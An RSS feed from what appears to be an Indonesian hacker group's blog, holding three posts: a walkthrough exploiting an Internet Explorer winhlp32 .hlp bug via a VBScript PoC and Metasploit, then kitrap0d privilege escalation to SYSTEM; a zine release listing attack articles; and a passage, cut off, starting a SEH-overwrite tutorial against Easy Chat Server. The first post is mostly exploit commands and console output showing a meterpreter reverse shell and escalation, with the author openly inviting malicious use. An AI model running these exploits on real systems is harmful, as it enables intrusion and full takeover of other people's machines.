<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kecoak Elektronik Indonesia</title>
	<atom:link href="http://www.kecoak-elektronik.net/log/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kecoak-elektronik.net/log</link>
	<description>Defending Classical Hacker Mind since 1995</description>
	<lastBuildDate>Fri, 05 Mar 2010 18:03:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Malicious .hlp, kiTrap0d, system shell</title>
		<link>http://www.kecoak-elektronik.net/log/2010/03/06/malicious-hlp-kitrap0d-system-shell/</link>
		<comments>http://www.kecoak-elektronik.net/log/2010/03/06/malicious-hlp-kitrap0d-system-shell/#comments</comments>
		<pubDate>Fri, 05 Mar 2010 17:54:30 +0000</pubDate>
		<dc:creator>byteskrew</dc:creator>
				<category><![CDATA[Bug & Exploit]]></category>
		<category><![CDATA[Tips 'n Trick]]></category>
		<category><![CDATA[internet explorer]]></category>
		<category><![CDATA[metapsloit]]></category>

		<guid isPermaLink="false">http://www.kecoak-elektronik.net/log/?p=814</guid>
		<description><![CDATA[Pada tanggal 26 February 2010, Maurycy Prodeus mengeluarkan public disclosure terhadap bug internet explorer 6, 7, dan 8 yang dapat di-eksploitasi menggunakan malicious .HLP file. Berikut ini pernyataan dari maurycy,
It is possible to invoke winhlp32.exe from Internet Explorer 8,7,6
using VBScript. Passing malicious .HLP file to winhlp32 could allow
remote attacker to run arbitrary command.
Additionally, there is [...]]]></description>
			<content:encoded><![CDATA[<p>Pada tanggal 26 February 2010, <a href="http://twitter.com/mprodeus" target="_blank">Maurycy Prodeus</a> mengeluarkan <a href="http://isec.pl/vulnerabilities/isec-0027-msgbox-helpfile-ie.txt" target="_blank">public disclosure</a> terhadap bug <strong>internet explorer 6, 7, dan 8</strong> yang dapat di-eksploitasi menggunakan malicious .HLP file. Berikut ini pernyataan dari maurycy,</p>
<blockquote><p>It is possible to invoke winhlp32.exe from Internet Explorer 8,7,6<br />
using VBScript. Passing malicious .HLP file to winhlp32 could allow<br />
remote attacker to run arbitrary command.<br />
Additionally, there is a stack overflow vulnerability in winhlp32.exe</p></blockquote>
<p>Intinya, dengan memanfaatkan VBScript maka user dapat meng-ekesekusi winhlp32.exe untuk membuka suatu file bertipe .hlp (windows help file) melalui browser internet explorer 6, 7, 8. Dan jika file .hlp tersebut sudah dimodifikasi sehingga menjadi malicious .hlp maka user dapat di-eksploitasi untuk menjalankan malicious code. <a href="http://blogs.technet.com/msrc/archive/2010/02/28/investigating-a-new-win32hlp-and-internet-explorer-issue.aspx" target="_blank">Pihak microsoft</a> untuk sementara memasukan ekstensi file .hlp kedalam kategori &#8216;unsafe file types&#8217;.</p>
<p>Untuk men-trigger vulnerability diatas cukup unik dan membutuhkan interaksi dari user untuk menekan tombol F1 ketika MessageBox muncul. Syntax untuk menampilkan MessageBox melalui VBScript sebagai berikut,</p>
<pre class="brush: php; gutter: false">MsgBox(prompt[,buttons][,title][,helpfile,context])</pre>
<p>Windows help file pada syntax diatas dapat diakses menggunakan samba share, berikut ini PoC dari maurycy untuk men-trigger vulnerability tersebut dan membuat user mengkases malicious .hlp file dari samba share yang telah dipersiapkannya,</p>
<pre class="brush: html; gutter: false">
<html>
<script type="text/vbscript">
// PoC pertama
big = "\\184.73.14.110\PUBLIC\test.hlp"

MsgBox "please press F1 to save the world", ,"please save the world", big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
</script>
</html>
</pre>
<p>PoC tersebut dapat dilihat dari <a href="http://isec.pl/poc-isec27/">sini</a>.</p>
<p>Jelas terlihat bahwa malicious .hlp file yang digunakan terletak pada \\184.73.14.110\PUBLIC\test.hlp. Ketika user terpancing untuk mengeksekusi maka win32hlp.exe akan berusaha membuka test.hlp tersebut yang justru mengakibatkan eksekusi calc.exe.</p>
<p>Maurycy memberikan PoC tambahan bahwa terdapat bug stack-overflow pada win32hlp.exe ketika mengeksekusi parameter dengan path yang sangat panjang, namun berhubung win32hlp.exe di-compile menggunakan feature /GS maka bug tersebut tidak dapat di-eksploitasi begitu saja.</p>
<p>Saat ini \\184.73.14.110\PUBLIC\test.hlp tidak dapat diakses lagi, namun metasploit sudah memasukan exploit win32hlp tersebut kedalam trunk terbarunya. Ketika tulisan ini dibuat, versi trunk yang dimaksud adalah SVN r8723. Jika kalian penasaran ingin melihat malicious .hlp yang sebelumnya digunakan oleh maurycy, maka dapat melihat dari direktori metasploit di &#8216;data/exploits/runcalc.hlp&#8217;.</p>
<p>Jduck meng-integrasikan exploit tersebut kedalam metasploit framework menggunakan fasilitas WebDAV, sehingga kita tidak perlu membuat samba server untuk dapat diakses oleh target. Dengan beberapa trik yang memanfaatkan protocol WebDAV kita dapat meng-eksploitasi target dengan vulnerability diatas. Kategori eksploit ini masuk dalam &#8216;browser exploitaion&#8217;.</p>
<p>Berikut ini contoh penggunaannya,</p>
<pre class="brush: bash;gutter: false;">

                _                  _       _ _
               | |                | |     (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                            | |
                            |_|

       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 531 exploits - 248 auxiliary
+ -- --=[ 196 payloads - 23 encoders - 8 nops
       =[ svn r8724 updated today (2010.03.05)

msf exploit(ie_winhlp32) > show options

Module options:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on.
   SRVPORT     80               yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH     /                no        The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST     192.168.2.104    yes       The local address
   LPORT     4444             yes       The local port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(ie_winhlp32) > exploit
[*] Exploit running as background job.
msf exploit(ie_winhlp32) >
[*] Started reverse handler on 192.168.2.104:4444
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.2.104:80/
[*] Server started.

msf exploit(ie_winhlp32) >
[*] Request for "/" does not contain a sub-directory, redirecting to /pXdaQozNq/ ...
[*] Responding to GET request from 192.168.2.105:1367
[*] Using \\192.168.2.104\pXdaQozNq\OZdxWwnxWuR8K.hlp ...
[*] Sending HTML page to 192.168.2.105:1367...
[*] Request for "/pXdaQozNq" does not contain a sub-directory, redirecting to /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending directory multistatus for /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending HLP multistatus for /pXdaQozNq/OZdxWwnxWuR8K.hlp ...
[*] Responding to GET request from 192.168.2.105:1369
[*] Sending HLP to 192.168.2.105:1369...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/OZdxWwnxWuR8K.ANN ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/OZdxWwnxWuR8K.GID ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/OZdxWwnxWuR8K.CNT ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/OZdxWwnxWuR8K.FTG ...
[*] Request for "/pXdaQozNq" does not contain a sub-directory, redirecting to /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending directory multistatus for /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/OZdxWwnxWuR8K.TMP ...
[*] Request for "/pXdaQozNq" does not contain a sub-directory, redirecting to /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending directory multistatus for /pXdaQozNq/ ...
[*] Sending 404 for PUT /pXdaQozNq/OZdxWwnxWuR8K.TMP ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending EXE multistatus for /pXdaQozNq/calc.exe ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/shell32.dll ...
[*] Request for "/pXdaQozNq" does not contain a sub-directory, redirecting to /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending directory multistatus for /pXdaQozNq/ ...
[*] Responding to GET request from 192.168.2.105:1369
[*] Sending EXE to 192.168.2.105:1369...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/rsaenh.dll ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/%1 ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/calc.exe.Manifest ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/calc.exe.Config ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/ws2_32.dll ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/WS2HELP.dll ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/hnetcfg.dll ...
[*] Sending stage (747008 bytes)
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/crypt32.dll ...
[*] Meterpreter session 1 opened (192.168.2.104:4444 -> 192.168.2.105:1371)
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/IPHLPAPI.DLL ...

msf exploit(ie_winhlp32) > sessions  

Active sessions
===============
  Id  Description  Tunnel
  --  -----------  ------
  1   Meterpreter  192.168.2.104:4444 -> 192.168.2.105:1371

msf exploit(ie_winhlp32) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: XPSP2\user
</pre>
<p>Sampai saat ini saya masih belum bisa menemukan letak masalah ketika metasploit digunakan dilingkungan Mac OSX, pemanfaatan feature webdav nya tidak berjalan dengan baik. Namun untuk metasploit yang berjalan diatas windows, exploit tersebut berhasil dieksekusi dengan baik seperti pada contoh diatas (anyone tried on linux?).</p>
<p>Exploit ini dapat digunakan pada feature &#8216;browser autopwn&#8217;-nya metasploit, so buat kalian para whitehat mulai dapat menikmati exploit ini untuk ditunjukan pada client saat proses pentest *heh*.</p>
<p>Finish?no. Sebagaimana terlihat dalam judul diatas, ada satu hal lagi yang akan kita bahas <img src='http://www.kecoak-elektronik.net/log/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Pada 19 Januari 2010 yang lalu, tavis ormandy merilis public disclosure yang cukup (sangat?) menghebohkan, terutama bagi para pemerhati dunia security windows. Advisories yang dirilis oleh taviso dapat dilihat dari <a href="http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html">sini</a>, inti dari advisories tersebut adalah sistem operasi microsoft windows menyimpan bug yang sifatnya 0day sejak tahun 1993. Bug tersebut di-klaim tetap ada sejak rilis Windows NT pada tanggal 27 Juli 1993 hingga implementasi Windows 7 saat ini (semua x86 32-bit windows vulnerable). </p>
<p>Pada saat public disclosure tersebut muncul tidak banyak pihak yang memahami &#8216;fungsi&#8217;-nya, contoh berikut ini ditambahkan dengan tujuan jika memang ada masyarakat indonesia yang belum mengerti (i knew, some of you are lazy to read english reference) maka dapat memahami fungsi dari exploitasi bug tersebut.</p>
<p>Intinya adalah kitrap0d digunakan sebagai local exploit untuk mendapatkan akses system pada windows. Jadi ketika kita berhasil meng-eksploitasi aplikasi dalam microsoft windows, namun akses yang kita dapatkan terbatas dalam arti user yang mengeksekusi adalah user biasa (non-administrator), maka dengan memanfaatkan exploit kitrap0d tersebut kita akan mendapatkan akses system yang tentu saja memberikan akses lebih tinggi. </p>
<p>Contoh paling mudah adalah memanfaatkan browser bug sebagai pintu masuk, seperti yang telah ditunjukan pada contoh diatas (bug win32hlp.exe), kita akan melihat informasi berikut ini:</p>
<pre class="brush: bash; gutter: false">
meterpreter > getuid
Server username: XPSP2\user
</pre>
<p>Hal tersebut didapatkan karena user yang dieksploitasi oleh exploit ie_win32hlp menggunakan user biasa (nama user nya &#8216;user&#8217;) ketika mengeksekusi exploit, dan ini biasanya dilakukan oleh ratusan bahkan ribuan pengguna komputer dalam suatu perusahaan atau organisasi dimana login kedalam windows tidak menggunakan hak akses administrator. </p>
<p>Metasploit mem-bundle exploit kitrap0d dengan meterpreter, sehingga kita dapat dengan mudah melakukan local exploit pada target windows untuk mendapatkan hak akses &#8217;system&#8217; jika paylod yang digunakan adalah meterpreter. Berikut ini contoh nya,</p>
<pre class="brush: bash; gutter: false;">
meterpreter > getuid
Server username: XPSP2\user
meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
  SeShutdownPrivilege
  SeChangeNotifyPrivilege
  SeUndockPrivilege

meterpreter > sysinfo
Computer: XPSP2
OS      : Windows XP (Build 2600, Service Pack 2).
Arch    : x86
Language: en_US
meterpreter > run kitrap0d
[*] Currently running as XPSP2\user

[*] Loading the vdmallowed executable and DLL from the local system...
[*] Uploading vdmallowed to C:\DOCUME~1\user\LOCALS~1\Temp\fEiMXC.exe...
[*] Uploading vdmallowed to C:\DOCUME~1\user\LOCALS~1\Temp\vdmexploit.dll...
[*] Escalating our process (PID:1948)...

[*] Received WebDAV PROPFIND request from 192.168.2.105:1372
[*] Sending 404 for /pXdaQozNq/cmd.exe ...
'\\192.168.2.104\pXdaQozNq'
CMD.EXE was started with the above path as the current directory.
UNC paths are not supported.  Defaulting to Windows directory.
--------------------------------------------------
Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
-------------------------------------------- taviso@sdf.lonestar.org ---

[?] GetVersionEx() => 5.1
[?] NtQuerySystemInformation() => \WINDOWS\system32\ntkrnlpa.exe@804D7000
[?] Searching for kernel 5.1 signature: version 2...
[+] Trying signature with index 3
[+] Signature found 0x2890a bytes from kernel base
[+] Starting the NTVDM subsystem by launching MS-DOS executable
[?] CreateProcess("C:\WINDOWS\twunk_16.exe") => 300
[?] OpenProcess(300) => 0x7e8
[?] Injecting the exploit thread into NTVDM subsystem @0x7e8
[?] WriteProcessMemory(0x7e8, 0x2070000, "VDMEXPLOIT.DLL", 14);
[?] WaitForSingleObject(0x7d4, INFINITE);
[?] GetExitCodeThread(0x7d4, 0012FF44); => 0x77303074
[+] The exploit thread reports exploitation was successful
[+] w00t! You can now use the shell opened earlier

[*] Deleting files...
[*] Now running as NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
  SeDebugPrivilege
  SeTcbPrivilege
  SeCreateTokenPrivilege
  SeAssignPrimaryTokenPrivilege
  SeLockMemoryPrivilege
  SeIncreaseQuotaPrivilege
  SeSecurityPrivilege
  SeTakeOwnershipPrivilege
  SeLoadDriverPrivilege
  SeSystemtimePrivilege
  SeProfileSingleProcessPrivilege
  SeIncreaseBasePriorityPrivilege
  SeCreatePagefilePrivilege
  SeCreatePermanentPrivilege
  SeBackupPrivilege
  SeRestorePrivilege
  SeShutdownPrivilege
  SeAuditPrivilege
  SeSystemEnvironmentPrivilege
  SeChangeNotifyPrivilege
  SeUndockPrivilege
  SeManageVolumePrivilege

meterpreter >
</pre>
<p>Well, that&#8217;s the lesson for tonight folks. Don&#8217;t care from which side you are from, goodboy and badboy can use metasploit for evil thing. Use your own creativity to get more and more from opensource product (anyone interested to put above two into &#8217;sploit pack&#8217;? :p).</p>
<p>Have a nice weekend.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kecoak-elektronik.net/log/2010/03/06/malicious-hlp-kitrap0d-system-shell/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ToKeT 6th Edition</title>
		<link>http://www.kecoak-elektronik.net/log/2010/02/15/toket-6th-edition/</link>
		<comments>http://www.kecoak-elektronik.net/log/2010/02/15/toket-6th-edition/#comments</comments>
		<pubDate>Mon, 15 Feb 2010 16:25:47 +0000</pubDate>
		<dc:creator>byteskrew</dc:creator>
				<category><![CDATA[K-Elektronik]]></category>

		<guid isPermaLink="false">http://www.kecoak-elektronik.net/log/?p=803</guid>
		<description><![CDATA[Sesuai rencana, Terbitan Online Kecoak ElekTronik (TOKET) diterbitkan pada hari ini, 15 February 2010. Toket edisi ke-6 ini berisi 6 buah artikel, diantaranya:
0x00-Introduction .................................	BytesKrew
0x01-Exploiting Future Internet - Defeating IPv6...	Ph03n1X
0x02-Fun with Elf and Ptrace.......................	Elz
0x03-Tale stories behind pop+pop+ret...............	!@#$%^&#38;*()
0x04-RTLD FreeBSD Bugs Analysis....................	Elz
0x05-Modifying Source Code - Stealing Password.....	BytesKrew
0x06-Eleonore and The Crimeware Myth...............	G.S
We just had valentine yesterday, so I don&#8217;t [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Sesuai rencana, Terbitan Online Kecoak ElekTronik (TOKET) diterbitkan pada hari ini, 15 February 2010. Toket edisi ke-6 ini berisi 6 buah artikel, diantaranya:</p>
<pre style="text-align: justify;"><a href="http://kecoak-elektronik.net/web/fezine/0x00-intro.txt" target="_blank">0x00-Introduction .................................</a>	BytesKrew
<a href="http://kecoak-elektronik.net/web/fezine/0x01-ipv6-attack.txt" target="_blank">0x01-Exploiting Future Internet - Defeating IPv6...</a>	Ph03n1X
<a href="http://kecoak-elektronik.net/web/fezine/0x02-funwithelfandptrace.txt" target="_blank">0x02-Fun with Elf and Ptrace.......................</a>	Elz
<a href="http://kecoak-elektronik.net/web/fezine/0x03-seh.txt" target="_blank">0x03-Tale stories behind pop+pop+ret...............</a>	!@#$%^&amp;*()
<a href="http://kecoak-elektronik.net/web/fezine/0x04-rtld-freebsd.txt" target="_blank">0x04-RTLD FreeBSD Bugs Analysis....................</a>	Elz
<a href="http://kecoak-elektronik.net/web/fezine/0x05-modifying-source-code-stealing-password.txt" target="_blank">0x05-Modifying Source Code - Stealing Password.....</a>	BytesKrew
<a href="http://kecoak-elektronik.net/web/fezine/0x06-eleonore.txt" target="_blank">0x06-Eleonore and The Crimeware Myth...............</a>	G.S</pre>
<p style="text-align: justify;">We just had valentine yesterday, so I don&#8217;t wanna give bad words following this release. We already have pretty much &#8216;bad stuff&#8217; within this edition, that&#8217;s enough <img src='http://www.kecoak-elektronik.net/log/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p style="text-align: justify;">So, enjoy, undergr0und&#8230;and be a &#8216;good&#8217; boy.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kecoak-elektronik.net/log/2010/02/15/toket-6th-edition/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>SEH Overwrite for n00b</title>
		<link>http://www.kecoak-elektronik.net/log/2010/01/31/seh-overwrite-for-n00b/</link>
		<comments>http://www.kecoak-elektronik.net/log/2010/01/31/seh-overwrite-for-n00b/#comments</comments>
		<pubDate>Sun, 31 Jan 2010 15:32:48 +0000</pubDate>
		<dc:creator>byteskrew</dc:creator>
				<category><![CDATA[Bug & Exploit]]></category>
		<category><![CDATA[easy chat server]]></category>
		<category><![CDATA[immunity debugger]]></category>
		<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[seh]]></category>
		<category><![CDATA[seh overwrite]]></category>

		<guid isPermaLink="false">http://www.kecoak-elektronik.net/log/?p=752</guid>
		<description><![CDATA[Baru-baru ini disalah satu forum yang membahas security ada diskusi mengenai SEH overwrite, SEH overwrite merupakan salah satu metode favorite yang umum digunakan untuk meng-eksploitasi aplikasi dalam sistem operasi Microsoft Windows. Dan berhubung ini adalah malam minggu (hey&#8230;what&#8217;s the correlation??), then let&#8217;s talk about this.
Kita tidak akan menceritakan secara detail mengenai apa itu SEH, mungkin [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Baru-baru ini disalah satu forum yang membahas security ada diskusi mengenai SEH overwrite, SEH overwrite merupakan salah satu metode favorite yang umum digunakan untuk meng-eksploitasi aplikasi dalam sistem operasi Microsoft Windows. Dan berhubung ini adalah malam minggu (hey&#8230;what&#8217;s the correlation??), then let&#8217;s talk about this.</p>
<p style="text-align: justify;">Kita tidak akan menceritakan secara detail mengenai apa itu SEH, mungkin akan dibahas pada waktu yang lain, yang pasti SEH (Structure Exception Handle) merupakan salah satu teknologi yang diusung oleh sistem operasi Microsoft Windows dan dapat dimanfaatkan untuk proses eksploitasi suatu bug, khususnya stack based memory corruption. Bisa dibilang SEH overwrite merupakan tehnik yang melibatkan bug aplikasi dilingkungan stack.</p>
<p style="text-align: justify;">Prinsipnya adalah, jika kita bisa membuat suatu aplikasi crash, dan crash tersebut berada di lingkungan stack (contoh: stack-based buffer overflow), dan ketika aplikasi crash ternyata struktur rantai SEH (SEH chain) bisa di-overwrite, maka kemungkinan besar kita bisa mengambil alih sistem dengan memanfaatkan tehnik SEH Overwrite.</p>
<p><span id="more-752"></span></p>
<p style="text-align: justify;">Aplikasi yang akan digunakan sebagai target adalah EFS Easy Chat Server, kalian bisa melihat contoh exploitnya <a href="http://www.securityfocus.com/bid/25328/exploit" target="_blank">disini</a>, dan mendownload aplikasi yang vulnerable-nya <a href="http://www.indowebster.com/Easy_Chat_Server_22.html" target="_blank">disini</a>. Saya ambil contoh aplikasi ini dengan anggapan paling mudah menunjukan proses SEH overwrite pada bug aplikasi tersebut, dan dari hasil percobaan terhadap beberapa sistem operasi (Windows 2000 &#8211; Windows XP SP3) menunjukan hasil yang stabil, sehingga cocok untuk dijadikan contoh artikel.</p>
<p style="text-align: justify;">Jika kita lihat beragam exploit jadi untuk aplikasi ini maka semua akan terlihat mudah, untuk itu kita akan beranggapan exploit yang bersifat RCE (Remote Code Execution) belum diketahui. Satu-satunya advisories dan mungkin exploit yang beredar adalah metode DOS, dalam arti server akan crash dan shutdown, seperti contoh exploit <a href="http://downloads.securityfocus.com/vulnerabilities/exploits/easychat_dos.txt" target="_blank">ini</a>.</p>
<p style="text-align: justify;">Sebagai informasi, ketika suatu bugs ditemukan maka 2 pihak akan menyatakan bahwa bugs tersebut tidak bisa di-eksploitasi untuk mendapatkan RCE, yaitu vendor (umumnya berhubungan dengan bug sistem operasi) dan pendatang baru di bidang exploitasi. Memang benar tidak semua bug bisa dimanfaatkan untuk mendapatkan shell, namun umumnya ketika suatu bug hanya berakibat DOS berdasarkan PoC (Proof Of Concept) maka berbagai macam hacker akan berusaha agar bug tersebut dapat digunakan untuk gaining RCE. Salah satu contoh adalah ketika tim Immunity berhasil membuat bug pada smb2 yang semula hanya <a href="http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html" target="_blank">berdampak DOS</a> ternyata bisa di-eksploitasi untuk <a href="http://blogs.zdnet.com/security/?p=4350" target="_blank">mendapatkan shell</a>.</p>
<h3>Gentleman, start your debugger</h3>
<p style="text-align: justify;">Pada contoh exploit DOS diatas, kita tahu bahwa overflow terjadi pada bagian berikut ini:</p>
<pre class="brush: php; gutter: false">...
$A=str_repeat('A',999);
...
fputs($link,"GET /chat.ghp?username=$A&amp;password=$A&amp;room=1&amp;sex=2 HTTP/1.1\r\nHost: $host\r\n\r\n");</pre>
<p style="text-align: justify;">Overflow terjadi ketika aplikasi akan memproses fungsi autentifikasi, dalam hal ini akan kita ambil bagian username. Yang artinya, jika kita mengirimkan request diatas dan memasukan sebanyak 999 karakter &#8216;A&#8217; pada bagian username maka server akan crash. Untuk artikel ini saya akan mengurangi semaksimal mungkin bagian programming, sehingga kita akan mencoba exploitasi secara manual menggunakan program telnet (please, don&#8217;t ask me how to use telnet), dan jumlah karakter yang dikirim akan dibatasi menjadi 750 karakter (somehow, terminal yang saya gunakan tidak bisa menerima inputan jika karakter yang dikirimkan sebanyak 999),</p>
<pre class="brush: bash; wrap-lines: false">$ telnet 172.16.30.129 80
Trying 172.16.30.129...
Connected to 172.16.30.129.
Escape character is '^]'.
GET /chat.ghp?username=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&amp;password=1234567&amp;room=1&amp;sex=2 HTTP/1.1
Host:172.16.30.129

Connection closed by foreign host.</pre>
<p style="text-align: justify;">Easy Chat Server menerima request pada alamat IP 172.16.30.129, dan ketika request diatas dikirim akan membuat aplikasi crash dan di-terminate oleh Windows. Kondisi ini sering disebut DOS.</p>
<p style="text-align: justify;">Kita akan kirimkan sekali lagi request diatas, namun kali ini dengan kondisi aplikasi easy chat server di monitor menggunakan debugger  (attach). Debugger yang saya gunakan untuk contoh kali ini adalah Immunity Debugger,</p>
<p><a href="http://img203.imageshack.us/img203/5420/screenshot20100131at129.png" target="_blank"><img src="http://img203.imageshack.us/img203/5420/screenshot20100131at129.png" border="0" alt="" /></a></p>
<p>Kita bisa lihat bahwa crash terjadi pada bagian,</p>
<blockquote><p>MOV AL, BYTE PTR DS:[EDX]</p></blockquote>
<p style="text-align: justify;">Register EDX telah di-overwrite oleh deretan karakter &#8216;A&#8217;, sehingga hasil eksekusi tersebut akan mengakibatkan &#8220;Access Violation&#8221; karena program berusaha membaca lokasi memory DS:[41414141] yang tidak valid,</p>
<blockquote><p>DS:[41414141]=???<br />
AL=FF</p></blockquote>
<p>Selanjutnya kita akan mencari tahu apakah struktur SEH chain juga ikut ter-overwrite saat ini,</p>
<p><a href="http://img704.imageshack.us/img704/4097/screenshot20100131at137.png" target="_blank"><img src="http://img704.imageshack.us/img704/4097/screenshot20100131at137.png" border="0" alt="" /></a></p>
<p>Good. Langkah selanjutnya adalah mencari tahu 2 hal penting:</p>
<blockquote><p>1. Berapa byte / karakter yang dibutuhkan untuk membuat aplikasi crash (dalam hal ini karakter yang meng-overwrite register EDX)?<br />
2. Berapa byte / karakter yang dibutuhkan untuk meng-overwrite SEH chain?</p></blockquote>
<p style="text-align: justify;">Ada beragam cara, namun yang paling mudah adalah menggunakan bantuan metasploit untuk meng-generate karakter serta memanfaatkan plugin immunity debugger dari <a href="http://www.corelan.be:8800/index.php/security/pvefindaddr-py-immunity-debugger-pycommand/" target="_blank">peter van eechoutte</a> untuk mencari tau lokasi byte diatas (byakugan juga bisa seperti pada post sebelumnya, namun utk kali ini kita pakai immunity debugger <img src='http://www.kecoak-elektronik.net/log/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ).</p>
<pre class="brush: bash; wrap-lines: false">$ ./pattern_create.rb 750
